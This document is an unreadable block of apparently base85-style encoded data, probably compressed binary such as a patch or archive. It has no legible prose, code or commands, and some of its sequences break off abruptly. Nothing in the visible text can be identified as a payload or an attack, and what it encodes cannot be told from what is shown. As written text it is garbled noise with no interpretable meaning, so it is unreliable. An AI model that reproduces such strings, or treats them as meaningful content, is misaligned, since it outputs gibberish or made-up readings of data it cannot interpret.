zd)lGm2h24eG=kY0)Am!9KgL>2#lH+EQDN8-6{4ft`|Ow1m|Ae*wNDUcIR&0bI{aG0 zA7w5TR`sZQM2)E> z+Fe2DX!jr;X{-VE2dboEsY!1G_%;e~e;e-e>-y=r5yR!8Lt=H+AIveSGS?bkTJZ+0 z>Qb-ye7Z}|AfivYddhMHE8Sf-Ps`qm?pOZML0~R4kb{s*NpDJlC7I6A_5(b!^V$@v zf=v(mG&;JHglc`?81GZZuH0bgiGi zaPZ)o9iV#J96XqDBABsf`B{A@u`-& z;3O}Vuu8qn>+Cmo^CO@NnU?-*jqe))iHLep`X7G$s7FwDt`N9*qdis5CqHPC{76pR_CTO&M-r?6G!6v6j4qkjm^aBoquh0U``KKOS9<7g%`CXV~S z<6%d?i_KSzItYjwr}$Bxv7CBe^ZSOtv0lR)fZnYR%u&do{6Oxl0c&ht-xq!;$Ey=FrLj zgUcK0T_{k*od!!SPw~$g(7Un+Ia~m~PbNPPHclFS^g{rhnr^FLm0tao(x`yOf>%PB z6%UiWzoWNg9uQr1PfNYlA{>kFaCuIGzpr2~vuhToRqFR?v6_N!LcC&7JJmO`Eh3@a zFt+tfHy&EM4PhuK>}DxZA>~C*M5p926^17G^L6MlJ&T{rvvp_`5rpCFDE^_F=!rR{ zfpc5lg$g}~p7%B9nup6SY{@+_`E8h0q^TrkQ}IBf-qU0#)nh^_d)I;HGW0D3$8Ij5 zYh{I$yCEvkYZlUOM5A&vrjhUz9IQl?@E&UU4@SKJdg+=9)s;IKB1)E$1ASbQhVF$w zw7E|#Wp43WeOfdsk=;vko5|->H3TbonJN|Xexbj^O1UTF=YTu9JK*mX-`12h!;^=R zvGH~!t1i-(Ale-0wcYevf!T&Zy90@5ZCK2CEURM1EiMnAts;w*T@xd^@-SA+Sm$%~ z^DNcS0E>Y;y|)I91REXldI^UO#^$tx4|9fB$WL9|zcygP9E~q_+v$61Txp{v=9oug zD-7ds(v4&YKctizxXWfo05+IJ4zZdrzD>&#Xgt)?$unltTCj$&q<^77q9vD;&qe=A z?@*#T<3!(zV7U7R7nHh91!fhGzzYu>6J zNI?ZRL+MCT)|>~k7n^H$^&54YdES=dHil=ZG?%ef?fPO9zpL~cYP~tq=H{g?B)c_E zem+D~8FoWf-Nv8yxeB-_CL;9kHk+mosV&*Y$0w@>|g`9f7#A`^9~CY zKgpgEuwL`IpQ1z{CZJe-b?lqpT(ZNML3++~d~;b+(ikRdfn-EKN6nY~GKME{p>W?| zJY=|k%*LKAs$55X*5(sZeHBC;TS`DPp#jL9-~?{K1kF6^fLEiK9Rj$FiORF-nsh$) z5O+KY!B#GtX2iOzpd+cvoix*7IaNZ$*AJwFs)NS@4WNk0Gm&m)zDOxt|ZQXE~XrCzvj$IADl8&6H z7Y|V9RO9?<_+IjCkW>a6Q)9A_x-5gkF^8@77q>6nLMqOhzHyRU!H1oW48lE-6a0h z?X25JrX{zu`A_bcLgwAMm5W%TQk6yg-2SX&VRVXn4trJH;=nIGE?xX9R=S(gmSiY~ z3cB)uug4)##rP9$S{vVLY+UP(xGg^+X77ELig2E0v8ASaotw>;Z`$;%ZC412BH#Ti zz9Uz>-uhAEtFl1R*1g%$QDZyKbo7mwN!TN44^k56x_qvu6rk($EJk}O3_>&>>#T0Y z$s^-_1T#11>S5`HFP1>$RDdXqCKH~(!&oGZ+!lQ&i8k`MFJUI^_jch6 zyn64?Io(=JKZb#DYudW@@C`68xm(D-YJbyTN&={WITmTLS8o$k!W zN>8!}J)G%9!{ZkZHRA33Sjm&1;} z>rH2@TD9oj`T+{zW|(vFwO|oBfUSpH`PIZd`7Yn@rx|C&8bC|DH}Hw1-{(&6L0PZrT#t}>!NcV zD5~kA)_KhFDrL2WDR+HN3~Vi4*zXa9!R!rb|U>svKeDKeQ|NNpQ4; ziJT>)cRp9SGG9Ds`@xTl7SSL~PJ#J7a30m@e8FF#1SW{qVoM0F83=vgPu|(Sn`s0q zQKFyU#c}n!b@9kSu2$e_mj#vDubV`5T``tOxfXnl{opeajOC&d#tOHMS zQEo=Vy?j?GqpF$b1AB<8MKk7)B0m&%L|#s#$cM zPV7It{C-MRy{MFEkKW2HlyaghIaOGIkNsq3?;?VuEMMzL63(^c_N^5?l{VdE5R~4T zS*?njNtEgt&zqy{vG#uUoZ#@$(si_7Fa{5rZqxD!=56<)@(%{{UH*ry= zl?eE#5;#Q5D`EF3qwtJ3iD_w?*3QwFJYKFeo5^FjJ~uLiJ5T0s*pjmp4&Gn0uOit~ zNp%F}%`U-Ekj33@&t6%WwPCz_b0!$d9Fg{kLXp3EoWnJDP)`hw#x=sUrhJ?2TJK(2V9rTxWzI|Y7uCN&7IrL^aX2iA?Gh)giy zf`o{+sYD2&bbgR_{%OvF6~(VkBv0VBf(B4xAC9n3bP+p>Nb>)lR zdKAk9*Qvd+>jcJrxJEwKxa7Ff5&kkX2!-L5`A-)*5V!GRmJ9YYL+sq}{&oz+U>`YQ za`%6p=0|onx&L-K%T_1QejkMBC%E)gowF7PwG|>p@k{fBjD$EgAucDvQOo>+aY1ei z^!a$e9L|0%r5dH(;)DU`?UEDlE)in@<&Uj6hC-B*9pU~iTK;JDW@9`h=*!*yVHsrr znGwWl+TwzMH6qQ#=GnAT=^Wb7#MPh&;YwvIZ)m^%_eeII4v-h&r_;dv$HTMeUwCBN z445^3Usj~~Z+=ZwRahUYY}VhUP1l0)4JT+Is-wafUMts z{yuI#tc7#R=6X4CH=kI%sabj^SJu#FD4?4E7#ba>1?N2?!_8B=kRWrH$;xqZH@12^ z>zjT&V>k;um~`>6{*^=|4!Vhm{n!KXtC3o|bfMTO*JXocyTRnhZ_VMTx7^=xA;O6Z zh!i(H|Af^Nx*4Y#yvZ#sdQ2~pHViH^&yv2|fgz^^Z-F$kGU0NF+*w=T%n|#y+g1BC z7a$L)wF;+6TX(%?+bX{x5_!@9o;|4No)MUT!;l-1keq!vZ8ARv`jBlsp}|N|h_iF8 zv02X*At)iMbHSt;oDe^d;vi7Bn>Lj{6k-Z-8{?obD!MJyt>E>0ArzDExfR!lRH{p8f3aP6udI{aHHP2d6Hy8yYUO~h4+q}2xqN9QMKWxWt+w*y_YOKdf5l(jky=hz*nY!}yL_e)#v1=}mV{JD?o)KJUCcra#Sn zH?DMg0v3|hhUevTq`2vilcC`5ha(Tu{~JgK_+grQ@9+KK4eoIk6l8RwD!v~9rJskK*FWGh!v*wgkd&T_uVnER-=Q8*{XMD5x%yPeOT?Q2`;I^_%9U?%eN-l7`m!K-vSHM}kQ~={StRRiUm~60BfP=T(a>gk zQsLqTkagb~ckPVSs7?f;0zkeO^T=$yfQ>bFTsTV_9VOrTkW9bALl zYa}g{Y39FR{toryc!3%Q@N5l3ujP@mZ$$GMFknYNY_O!Cbp6fy^Sio^P)|{NqCxUK zP1U4YTCV!&-kS>4uoLPQzE&QSHkIZ{JZ`qxjcG9>TS4?_(n(R0l`?E&DNXc#dC034 ziTd1rSI5AG=7Rw+TMSXv*m%H=A-Bcad>HrZv4Nn5V31%?rTX1Bj(*>{=~Wew(v4C2 z8KL)Fb_{68^N!?-}zf&$f&v5Lg(L3j!s1!H-8BLr3lD%$m+k**|0 za-$sQCwm{t#?w;YEu+bX92+s^-&e;y1A{r@}pZ^QDx zG}?da(Eo4A{}bT;yO#9rfrv|GdQ_2l?(FPDntJ`G2LJE<*nt8G_-2ysvwug;|Mrl| c>O;SKUEUxvB-pUlgo1pe#NQzf>&NaVjwJJQf2gE<3A2 z(2V7j53jydlM8WhplHKW>8ephzP>i2rz?CfFY*P|N*r?+?iH_W{0=EOIaXHWWkAvm zA3V)o<$|0k?BF&4Uz=UE8y+q!m_LeT5-5gCDNz?3(H7TJ$4Ohlv8PMfkVCL9hXPPfsr>c!zQSt zJeowfv;)KyOUH+MCb&vLje0)_h>@yDx(RO$irWyOBX}X*Lq`t+Gy#nkU*O@;8V|p` z4|S)q2(8)l--_+2hEf$A6s*cUwDPe}m0myMoB?cu~7?Zts85+e8X+r1w# zn2<9{W(#4_0JLuF)~MzpB*uOL81qs9I6xeO4RyQ+;}5RICDAhqjd&~p~5Lq1+!r)q3C^q zu0qGL0|sQi!jYnWL|%g@ZL;X5RTrfB0{x_h`1Cy#MJg8rnpCG?{C;1VtG_UZoTn&@ zo=>r`#?;-^$a@^+yRm*c^mPQ@vuj26F?o=-2KQAMd^e6M&V*?^3QF~8pfc+1vkW1! zFU7D*r}X=uT{m9e3%{#$(sp7>@U3IX!Kvn{|IwMcjrcCcY55g(95WYbphoe5Q)n5l z+M^fd#L-Xb(ns9L`>P}4Gktp__V5U?O@KKg#n!byTR^62=Y5~wA0IkJI!l3w+KGVP zfa(1m#wW3|H-y(FVgOUcs;+tOLp+Z+w!I{9Z-v5mOzr2LUsIHSXP8tVN@0^3WFzfe zkC~sJS-4v8zq59z_X7?1grU7i*t@ij0H0M>YBAcHFMH^!W)vT^epl652+l9GAW#V` z0cHCD!I#4_L`m%j=Kwe-j-bKF6T$j7aDABw;sMWwmY2wh56p1Uo=)AJ5-BP!WUmmi z;DC)RwO=USBW%B?L|H=+hDS&I`kD%@JJ9?+euWo(e^9#R7lF^zjPStE_@A(ue-r#7 zKSX}`O+5~m+QH<6Wq?e+hTMp9kVDvt_-ajrNCM~k_i-G-oSN z+o6bqB)B(Qa~y-4l1(CF0)JPg7I`INHn(tmXcx1V)ISW%6i&07C>h@3Ta(GtC%nY3 z`DPM!6guGvW<2wtve!>zbH5zQC?CGRbru}$w*PD&ymrQqGS;`VK6HlW$7d7+?x$B!*^tK=|K+#NvD}|@3=xOq;wlO;==U07rM8) zN4j5i6PPlbaXSByqOp!GlQYU=#7)x@XQsBNIikyW=N{`LPdN~7?qB^%AT(Wq;0Iys z(1340L%-o4%Rkge_(*S&u!9(pDmqz%63~S3Qt>L7FPSmawU{jMI26d}BC3B>$5w+~ z5?#ROI_l~ZY7>UeIW)%3fg3VC-@*y;eDTE8XNnTF0`|>IlAFIaM=VOTN%|}1PAFNk z>Z6r^ssE~@D5UHw_fRCITdj?zy}>-9TcTB>yRYGsUzTN;b66^@-6Yp!aQEw6dkch* zgs+JofL}i-oS=|k#@wKVti4xqU7}vnR5GM}Q)Hy&Um>IMK^t9bvjo4?URS96IyrhG zYWK+v%b(L91;*N@n^ELYKv9yJZ&c8(+Ggl4E~(rlPy5lVKqkM}Im!XK_dW1CmkSXK zaR?C~F}QCx`i#7bw8n1uiPO+b)GB($-1?kbkq6sqb^NicXBusKa8|#3ChJO^bgq6n zvq(g;MgO79GMnPMLWiLWloOx1MQL`r#$VWG06nyxC}Cq7lrxMS-TkVr6v zB8Q@5#_H=fQUB)l22taHj3;>*p%P{R$A^%nSnptg&sk6zFyD^;E`FT2|sx=1orLyZdZok!sc4UE6Wllv1Eq zq!+7~vEc8T+7#p6?j3dKj-C^gCSBiS5rL&RJ-NU&RXurLf^V~B+S9OTH)E~*%cFtd z)7&R$b@t-zBHrTk!sR@dU6(!K0`Gh~iKQ?*aCzT(r_aB}wSK5-$;5NaXaw{XM)N@b zz=xHHMHZqEauChkN7Z*19Ti=fQI_tdGNaOvu{Zi=R52Zp0cmb*Mm4-{xoje7DQMPd zT6NL%jPL*)dvs*19q))j+ZJGPArZ2Hebg}!VSC{kksB{jN=M#IK2YCnpHZ-pU8TLz z%Bs?d)=By5iYT(E9hd|x%Sua-R2O$OJlDxL>^<+i9+9~k}R~YM8w0& zTSjxJ-Uw`b-^zp#m5fuxy8+6R&!eiQMw1GXDUb5Ou_wr&g!M^nbnk{Gyao5p_YH>$ zP%6e`5VSB{`==W(4>tOqZJ%x2&LVDoA9!8&niBUF?%X>MhA73A+l8x@<^XRThgUSpGOlXH1uW2b|k(k7Dj;`A~X#%^|WPmL{u%4%vH0>caPEk+3-IyWB#SHmVB`N_=y*T8m*K7BP3OIGM{##>f%4s?GlNEoTYCCa z7FMNzy{YRN$3~{aN#|f^%m-Wxvdm&Z&G$9-iCbmBn#>na!gxu+BPlC_eV<1=1w>r^ zcO23}h85H11ff=-v&U7W4s;KWJl0_&FJSCS4o}1?n~K4*RvDl*>-LPJ12Ub!n1HJ2 zz;1d5_*H!O6;%AM@I+9 z%<=T9Uj4-Zdq>6b3TMmMbo1=&@x($+HCFlCxvQg$)&?`<-|f9H-iHSA&t!~3s953H z?YAOVH)$cASalR0LaooC1Fv+9+$zfgBF@__^ zBME&x(Urm<1=RgaZ_OtLIuctGpEQXJDH>F4+dKvLF0Vek9jgUn3i+-Zj5kf~_>X~G z*W9!3a{7AAl9t(d3_O|)pxetHm*E!)xkv0rSGtCkydI67-0smQ!V_Cl?)&<`>s;p~ zD~;RVc;{YNJdP|i&_nmzN7`VIDx(>5p6Dl7D*z|36XY^*@Y{KaAhzw3$yv;+750@r zUj&~;iXPGCo8*hzt+x|#9BnMxnUbOaX^zB;uagsV08^4x{{lJm~jR~{+0jW8ee zk%840EZ>9l#gG+lgAfh}>x6OUSBkh&P}`q<@;-#3+)b;v2*#C(j|35D#_zw!bagqp z!&C9VpK9|93)gyk-5y}cU1Pzq-Bt5}r9w|Z5bg5{1l`DOa(J-;G5G#*yQG%QSi_e% z;kA>To+}(20o`9;czKO?r*LranbumL+&(EQ37R?DvzwSZngZFq?44d(!@&uA3BH`# z1KmuhyzK29Tm`*EX#Q>?_;UVNH3tpV-%Z?XMQA=Lt5Hchx&Wzo*tyx?(}1gQ(;DqcL7?;q%~Y@iX7S z52zEb;BnyoQDFq-Vtj!^{YT|@{M#=ZH}RG@Iscg1YL7C+|BN6UxIiWbxSkWHF)AtS zf3{k1h*`H$T>nsd;1D!b;KHGrnIA(b{u!I$P{q$kf&Wkf;SdYbUu3XQ_#2MMKNKCD zFB^P=|4?+`P?ZGW89}Pv$kaan6sK@Kj`9Bp3xDw=*#+SR>*p8}m;V%`FN@Cj>Yvi| ze(OaBMYf2)?*{%;PQNG~p zwX=pF3VHDVcUW%FzCiePzSHu*WHgySP^&_!l%?i!zJZ%jO9H&shXU#R3_*rks5) zEwcNbCq*{^T&?_w+O`HJ#u3%Nbcgdv`7SQ}MZMJOCRX4Av%g?hwJHHGHZu0*XTAIY zA|MTHi4LEHP4opqq3OSEiAV=8kV%}3Az~87Vgzm6_!i;u>-65^CzFQQLTP=SdpA{F z4%AWC$viH|x_&e(> zoc=eP0bLy80-}-b32DZK8GJSHAdI5E2!o6zf|YuGH&4oP97Sy!yQ%e%56#%2_(p&6 z5)Sp9DwW}NN@$5aq`+0M*xju@XL3Jaur%w{~OqLL&noVypH@K)s&&8ZWWI z%64Gl&*6;fZV__N2|qf@_J;Fh5cCXZO%xdMfLBg%y#vUd%_wCAULrBI`Q*;pS>}~q~6=3vI>JJm=bXVjyal{WDv@KP)k|3 zUNhm){PN0O#{j3YP=Y(fC!i+gSWJ-F~pq0siowsnx(Rga12mh+} z9=cD|y=)nf^yIGEthB4#5czH z#f6wtU8{@4Oz@&Fza4??@;YX@)Sb7H98u1^)e;SWZH@3F4K^Z$LwgU`aQ=fblfd!n z35V+4Pt8Hco2kkLp6-P19W`5Aa1g@QxLXvA11|EZaGLW2U>6J}=qf+kwZ5BE)4bm` zm^#~=nNMtTcm9I^8;2Oa@Gth^h-cMSe`NVU?6XFjKb6AG!=X}KY)p)O8YZXxHM#7k z_~-A1BOmLf5~6?`!=IC_6>iepd{(jnLko3_0^SaKYVV<$!CnJ< z;!#+}&|wMt^l`~h{WSIu4MjO1dO*EPKEA$jN;V1wX~7inJ|D+!>w+RLZY6y!S^3e? z_*XNs%dCKVT*0VsilLB9XM%t@8=?K_)77h zlA}D76E#vse6ClDi#O7Xy`tL{Asl)f_aWJH(wT@Y;_Uoze_TN z1));+tff{G`gGLhT4we90d@*|R*xUDcNH?8FovQN^prv-Zy-7h`r_u)3t4kHy_kjf zKx(#(0nI9Y$)HwSpmL~dTJ+7B71`!;NlyV5xxa8e1>y;UrNP&~6mb#abkDIff&H}f z-2n6JNCltBE`A7r9$PNXly@Vka}|V zWaLzP=*bcodr#?Yz{H5-vA(q=J>WRN)h{*+iWu0~8>~LolTiQOc|ku>=f=ZY-RihS zn<9?elqjxs@F)IRt2}Xo_}POt0lE~)zd`Bq{_9r#o|Bp9yVQ2SP1G(&?0^EWC@(Ey zre(y2aSLlW<%KN&iZulsA*1s(;z#wHswB{U9NCb&805lfk4;jP z5cw^!{f@kTNWD`+)84e+9LzouINZYk&@6x~t0u+}HBZK9f>my?i)cx`3B*Wt1T)O& zHW3bB8pfbO zBgKB+5%s!glF6CX6WQpnpr6qUmLko<+ix411*MOXzKLi3i;E8C#j4 zmdQdu&#$y|<7bB33IiV9Er}3%KC3UEEk7y{{6x~%RwT5t_l+QUcOVGsWg^!S+J^6< z`#bUxmq5(HuV;zi@#F0sczVNBXu}ZSJVy}O={Vd|F_-uRHTKIb4}ge)CJKnIIP^2O z+p{T>YwrD9Fhuy2$p{BsHu?il;8g;ez?n*F_h+b)I7+JfxY1!b;yeoi89y6jT=Tfu zbgr!uqP!ylcN__YmI%eAyzuxIaf4bVG1%%%;IH>C{fQjs!dP*1I!?`@0`88|kND)_3SykDzeJ z=-F!ztB$(F4%rgW2CcR`vK@W83?lYlb`s)=5CJeAFZsN7aDPi{xHlX^{6&MnHtW`2 zT-oU-#}wfb%jh>aTaRc-gEk!m^;yW=;AfkSsC&NbvQV!HPl;mjUuSQL>>Wq~TDx(^ z3nI9k$dLkzSTSYaBo*ICPQ?U#J{Y|v4g8WLeno;05m?!yu|Ki@X?5G;>EB84tBdJ_ z?9_9fHPAC=@N0G?C@#v}fP`p34&UkkM(|qGBZnQpA*NHF6hkqG$1(`Og!qyAfl=G2$!6z#>LUp`erCr8ucM8E;Cz^BT6SEYi@=~HI-h>c***o*-Qt`9wq z*K|U%zAcXO)3ECrytq+Z-n;QYHgJ?3p!6~W_&Y3mgy!NqCPv)w;_*3oEPZuv!X?fJ() z!V-=JQUS@n%qTH8H}QkcdVYvXRl#s!3w%F@fU@ zkF+8Ch~wkFV(PP`C8Y}Se7$YWLx zT6uAH9UK6`M+t99&jxL<6>BcI#aL=XUWxj&1<01Ck=oRqSan-SVbE6}klkSS*ewd= zq;IAgE@vhD#OcnGOiG&l`lLun*ILc4$<(AAN5|_Nai6b`(iUTn$o;FE7SCngxis<` zpE3Vlj0Wn6WytpT_OTMrhA7hJBPZyfHR0ylOnhG)AT(Yardcf%jbds%=KVNsuUTk$ zBOqMAA?m)mui3=mPjT%;{)clQgNJ_Ixd%qnRbtmJS95W({44;RqtIM&B6keg<=ZF? z==4%pr?o(B+2phuwSo8Rt~4tHs<^1eOvha7hxFW!bD>DBjSc_{KioNj64&Sf8}RBO=<|I@6jDIJT56 z-4GUCdo*AK*vo?EJ%ppM9Wv_8{xn%nkF!0~j~Dc5K9^NEAh6R;N= z|61aqAer3g1-M{i9=Pf4I5&c<_Bwbh|N{1>g2+6)R-|wa|s>!Nj9TWoOeOV_j*pUL`{pW;$7mAP#0F zh(?cNfw93#{)qI)rDjj%2U*?h`%<}k$|zhP$S6Ubt%bs_f*>;HeXX&!dG2QSOaS|d zVSJqT+oMLdj7@JO>~|UaBbW{zv8&DWoBk!nvqfE%waOJ1?FR!AWhcU~>dl!OST(Db zd|5;j59fczZfV50J@@Y^pN%I1b=!n0(yr)(IJGFZTIH2BzjGnQ4rvO_Z#2r$5hiJO8(cLsX??qTPL zfrd#U^d=uAQntNd6NxKg!k3@07IK!-&Suqf zQm2Gx(2bI7N(!{c0Ig305^nnXMme~ZhWcA>zwHfMyp^wdhZY%YGB}c~WBW=ynvYxf z+_c*YTGS$ZHZ4E+{d*er)*nai=;#P(@M8g*G$^C}?q0Qw!18%!uQ1>#BB!<|!}$4U z`_ohjIUHu{bN&fPlwwu&T!P>yF$>5wZzfkx$nA1H-X2mC(1ULj`etOcNaZ_&zuU#EZ-9oWYb3D3hZRP!LWV5!e@6b}{2c(9oJE;Lcuz;d)-yF`d7#LkW6E3aAt@74zO_>W&dOq(g4#pOnhziclKzQH_<4hpeF@T&!7EgP$ z0z~pQdqqa#`HD6)f+zFKRA=JMY`zm|R6?-3JTP-*7KTte0vZdU$ixr+aCOq-95^@-S@6Vloh>Cr?{$S!(7J3L$ zBK$n>^!UhiE_ThSow_~8d}%?Q)pNwRdwZFvg{$wd=KMM^ z<-DGC&W-7rSmxukS>97fxrgq&O+!~aW29J0infogo}20Lotu}M_O^;ykG8rBxU3VB zF~8eqZ>?`}aG)6IiY|n_3c2>1Tk5$W%@?WKaVxuR9ds$BS~#{$bWRDiqy_WIzmCu^ z$a31NFUm-{O26S5RoQh&1oop-q|B90t*a{+6KZhHuk~S+S5!`Y&95T8ohv-3(QLLs zk!MB_AzA2H?j^j`Nxt_QAvbjKKGqaH7dA{WaS?%T#o+`a@*G(=Iy;0qhe%V6HZ_WW zazNkP;%*ZjimON1lJ_skNLLfFlB^omKsENXUNqu|mTW%HZ>^}T#To{&sET$h9uWZUU`|s*0=0=@<@2U4%MX?Al<66 zQGa|)I@yEjPH{3N1(}-=&@nd186Wba9T8+KPRN$r;KkAotl!3wS*}ydmbM7JBY8N( z9s(^{O8=CkmBv-nvjh33tq%Ky8QO{ELyvjL$&86#Cr<`RFRtic>3&LV-Jzos6cVd;Rj=|fj&k}4WEsvf^gIXg*hyRc}d6nXf` zwFRNsd$Hl6ehg;5==4-KPSk0zHscgmD1Ker!O_sv#Ixv4npY+eIewZ0 zZO!T$0=QS1?n;c9DV}k()qg~%x8+xTy4;N?tY%YG2@F`kwLfu4W*Q66JmVY)0kgyS zK8GHgHDb-p-b?*1v{xh8Dwfn1r89Ha{*-rpw&*kCcp5vW{f)MA!9Ep#ut6_dSS!M| zk%$Oqu3pWV$+;}9$}@EshiI~HpSxS)8|$HRLWgB^23 zORPDtcPW-A0QvQC$@c4Zm*%?%H)k(#`Vs9%GiJUz{^Jc&%~&pugY)2G3!k7_jNTCs z{R0ND*EfmN=;p&=v?HDGQSa(ef*~f0xRM-E8FbKs(yMo=_l4U{Vu&Xm{m(5s4QDY+ zKa)?=^0-?`^8+wXdWHxsyyKN1oGvteVoHQb-ftIwR+3I7fy}yod2j3_v5SU3S49_B z*H*VFZkoc0v&C)oX797G(CBs?Lfx(HRtJ^vW8^Xh5#UsPPL0u5u&3jZylz&V}K4 z89}9Z-!#cQ#4x<2>7jIAKIY~H+N4dZHI#Wy+q@f#e*bKp3CbCY7M>lQ++Ss9!`jNS z=l$(kK(r>0pSTB0oC>+FP~F`fY~utt$UbVC>xhPc7>|Zem3Pr0AYFOMhL1B?q!Uai zb|75SiO-|jK{abs=K4xY=nRN;<>A_^M~Gy52|o#Q?~msKSiCv2WUj(hVV^LUKMO}< zv1n3~O=HY$=Ojv(dW%HP^%GL_0VBzwd&}kfHQIX%GzzpCyQ)W80PD?c8tB~7!9Qu$CZQd( zbN82azh;!S9Cg9oBh8V03;zDm+&55Cvt0&HSKsfgI{hC{3R6ti4{d*L=l}`UBxMo< zXi9$Xg){tw3xqg~?C^6t31n(L(Cm3{Hxx=VtsT0)fL-30iCS{vz! z{O})Nw`1U)Bl~jJqwD?V@R>hxzuVOvy+GJ$!onA-I1i4H5$}j|8)DZ1esPYXD0GF6|DoVGYt63mCadZPm1NuDPdN)cw|L51x`X zgAK1ZYXoEH>v4OmJ0}a$W_*<>07dNc!J1J(P!Ag5cIKMIAn(3gI{f^8)NwZ-+PM~& zOY~6SJdg4Av*GQuSW-)}!?OD_?T@6#eix9Jo3h&gK}DKq+5{^Y9XRUR(OgNSUujEj zpO%f#(9rz8x%G=bE8AymNKD;RzLoQVNI6z%I%rw2rd|sg73l^L6TJ1)XqSuH7Fs=iGN+T|*(lVi1(NZZS)jWg&+>(Xd^2=(S0@aZm#IJPGf|LbBq$Tyw(Gqxu7Q zV~`i@!8m~CWpp35lV6Qih=;VfJX{xT%?(* zO?LJwALD?`TVzwDSLak0TM+o#F{#nNc9C5>GF#WH{^!p@ zw(*Ay9=1LBA&eH*2$dTA>#reSW^4^54@|yeZ#mc0V{W|7_qdZ{a(1hz!C;?bS+T~i zs+j5)B=pQ`S(IoHpLD*Q?!)T$9bNbLIf`STW&_z?jD$sP586FaMzsRo`botYcymUB zLDlbdn{c@d8f(8E-}taL+)!M&c^{pBs_|fw5y}*ZN}p5dMj^8#@UYo3@@Tzh#i{$_ zcy7G&6B8qu^>Bc4gW}&3#BhkhsIAOBCvJB!mq)tz3`}jB_fH|uL`U}?qUR9i=d;R7 z?Vc(|kmo%*>=w+(7XA=Id8tD%{Qa$3)do5TdzhfU5fm^OaAy}zflp@w`jMJ_HKP5| zNno+_o5zI1OX6%wvH7T(t<3VS|BNqzkDIof6f4!THejzjv65K~@cmA%Kf<*HTJ5re z;}!1m0sSRX&@MxMU>mGK%Uufp6A>`$>}Cljo%VHtD{z&5ne1JUTy4nYc#UpJHRwlv z{LYCv9fOK{9NV>#kKUnjjmC6l7T(q2P!^!D=EAo5Kq!wDxR!r~mVmBdQOmL0wQz(E z524g^Dri2sP|u0lW@8z-Ve09GDDg^q>*TSI;O}lxc-SWsN2M=EB17_adFE_s3N9tor$ex@eUHtTu z&HH}F7b1MDesuVOhiywoXrP!Ie<#V>Rk{B3ZP{80porY9V(-#5qgkSen1qUJ!EE*K+xSkfbO}`VswzoZtLFMLb;9XsKqpq7KM4mXk3n) zx0bdY4}W0a@RTxI=_ofGUC5ge1BrJh*S8zFU+xwz!?9aVLWAHaU@kTScdQ(5%C)e3 zwL}C8douuZ90>zclS|6_KbL;sIREIwR7m&wrja|5=g}Y=V?bC#?BIHV#GKGL3QeD~ zZY%XWzx+bTdE@m)bN_Y!{_`kDngndK$K=?UkC~;jvEytKV#lz+x8NLJ|FqEFdsiB- zPW{WMR0dpX3UadD<)k2X5^F!1iYX0e&=G%C5+Is;Kw5QjYU9|XEVibMZj=GWaeUB_ z2ZUBTKA6A;!{5yHwF-3cB=%2|0L)y$3fbyva$~2Q%LyiWvoYlx6r|xy7YB~ul_=f< z4cN?#cH8957rr-sXv!Tj2eiBrtw$Igfgzd;N?m4PPS@$3;y?tUI z%o7qCz^?K-@-HuEXgIDhsZVD!>EYc&)H_rG6Gq_YZjj$D?GSQ!nbbuQTFEW(+)Wf( znD3Lj|J*poND$XC&a#w1fx=kXq>*&y!#M%D!xTrFz2&O8{pW3O7ofJMMhw)?Ak<4K z35{i{b%s&mx*}$wxx6pEi}opYM$+1D2XQWc=&h)UWGYzTWTdh;>;MDIt?T^y%{M-m zls?wHA^FIq`1iRiHwwf$PM5{nj^p-)ivG4{yhC&!gvG$?-Y$WuZf=WC=K7NjRby$U z@l3mowd^r_t#<~pA9|!0*LmReu++qa^7J3{GPCssPo@?MU)ivvo-aGp1g6r-^Hsb0 ze*_;ir~s_awyp!BfpLyQ)p%j5#DZ&@!Rgs0@uZw9gPTPZq+I+iq+H_z9_|WY>584S zE}sg^g#LLoiTrq^DG#IbzV?JAiHD}Er48ZA8Gx#cTqd}X(O5q(3R63Jy2+eYMtLT5 z;=+?PfO(rKpP1oO!8-cTK`lK7UT4huWAF3CU<-IE?hoY6SeijNR722*t@+j3!;&p$dB1 zO}<(E+R7E~pI<+(?kQMGu`WV3xvjrMFgj3msDq@8akGiz{HO4ooZZ1ZyOxcT-1zWmr{9L38Q4`BY zQ0}F%SrT4y;absb11F8;(IM{PfjWBXvpkPudSA?J-A?97GD`p4JA@}o4QSqZ*I-41D~9!rXH>mSDmHbvJ^VIv`#kS< zoePJybf4_oe5>{s3h7x~jD46~3eRhw9E7COj=R|hSc0I*5r$1j$9x9cuzS0Xhu?i) z8-QtI3}%DT!r==Gyi z-vK3H+i1a`Femz8#h8p@syrm&R0|ZiYG2v3xCGzO@Q|4{uBD)`C{q^TqNjoPS%jCX zpJ3t7Z7n;NS4}uzh$^fqTT+3ovdhyf>cv0WYTnPkG!%J}eC6~JsjgcqcJs`{IIBLb zRB>7m-gEMx;#rF<=qlz@tbH0EQzI|){WN7$w6KXOx&t`6LU>!xIurd+!4=+?qFZ*# zH+qRC*zu2{lOFH6%z@mM@2*|hJ>O-|CQWLS7w#snI|lBRAM};_aLkrl6yP}Sh|e^b z*1NLyLiFgz-M(xg)L3-8rh7!a}jMwk4Z+Lo7&WSG`8Pa9cTo z4LdE$@y~5E$();W$~AA2!78S{-Q$L^fhcgjR;h%7z0zj zIR9>=>}*yF>;1#`XB&F?2)pm6+rpy1un6k zngvYBF&^DqgghNsNbLtR1T>lWxss%W)OGkn{n09`p9(5&7}H>WnBpm&K|=pwqo)&U zD@D)AB^L~~B&O+1bOX5GY60)sa5p`S6Q0qu4HNV{vwp&Z2o;=w9xDrxu+NtADuC2_ zpWqW7MWSfz)DZb{QCIbd6Y)c!sNr4oI-p7E`p8-)_I`|A^8oNM_m+5r+=gS@g8-p+ z4@%{wHS6OYxicT@yXF(EAu7q8YWz2#Y@uuC-As=2vLEei%y|#JignB?tiK++(VFjp zvO;;n+U@fmdWT0w;PJDBq@NYA3|4+$?_*Nghoyn%?QK4<*pF&oEK1oa7fK>RLhl7S zTa&AXbUJ&klq-cJA9t88nYq&*I+zlQyWjQ7Y0`k9yrq+|4uI=^Y-9Ug}4aN(P>Y{{!0~*j|z9wO7CNrU=s-JdJ4ibrgK)k9$$T z4@Bc4%qTNrn{pwwn5U>|Z8--i{$RPdy`UXp@{{&qWtd;et)|ie ztkL>o+PS# zvd`!ea+`v1^TE-FidEf3k|XuUUSf)Y>mmR-{KwO(WwyqRAyyXX;ZG|uDN8m0!!X2R zXiRr(r>&_i{#c7;RcapMgFWu2;yd=&M|H8=K`nRQ%uca&F8n>rvkfEBGF75aF1E592`a9_hY(p3 zj7#8{hY8c~6c%8qx80%+6L3(Ms)QNTz=6G2wpTfxK1g6~Qh(|v<;C1H($7}s`?N$x 